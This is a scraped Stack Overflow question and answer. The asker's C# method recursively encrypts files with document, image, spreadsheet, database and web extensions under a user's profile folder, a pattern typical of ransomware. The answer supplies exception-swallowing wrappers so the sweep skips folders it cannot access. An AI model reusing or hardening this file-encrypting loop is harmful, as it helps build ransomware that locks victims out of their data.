ignore “Unauthorized Access” “ function Directory.GetDirectories()”

坚强是说给别人听的谎言 提交于 2019-12-12 19:06:41

问题


When I scan The Directory in C:\\users\\<SomeUserName>\\* In some Directory i have no access i search a lot how to ignore "Unauthorized Access" Now i need Help :/

Here is my code:

public void encryptDirectory(string location, string password)
{
    //extensions to be encrypt
    var validExtensions = new[]
    {
        ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
    };
    string[] files = Directory.GetFiles(location);
    string[] childDirectories = Directory.GetDirectories(location);
    for (int i = 0; i < files.Length; i++)
    {
        string extension = Path.GetExtension(files[i]);
        if (validExtensions.Contains(extension))
        {
            EncryptFile(files[i], password);
        }
    }
    for (int i = 0; i < childDirectories.Length; i++)
    {
        encryptDirectory(childDirectories[i], password);
    }
}

回答1:


If you would like to ignore exceptions thrown by a particular method, write your own wrapper, catch the exception you wish to trap, and return some useful default value:

private static string[] GetFilesSafe(string location) {
    try {
        return Directory.GetFiles(location);
    } catch (UnauthorizedAccessException ex) {
        Console.Error.WriteLine(ex.Message);
        return new string[0];
    }
}

Write a similar wrapper for Directory.GetDirectories, and replace direct calls with calls to wrappers. This will hide the access problem.



来源:https://stackoverflow.com/questions/44199931/ignore-unauthorized-access-function-directory-getdirectories

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!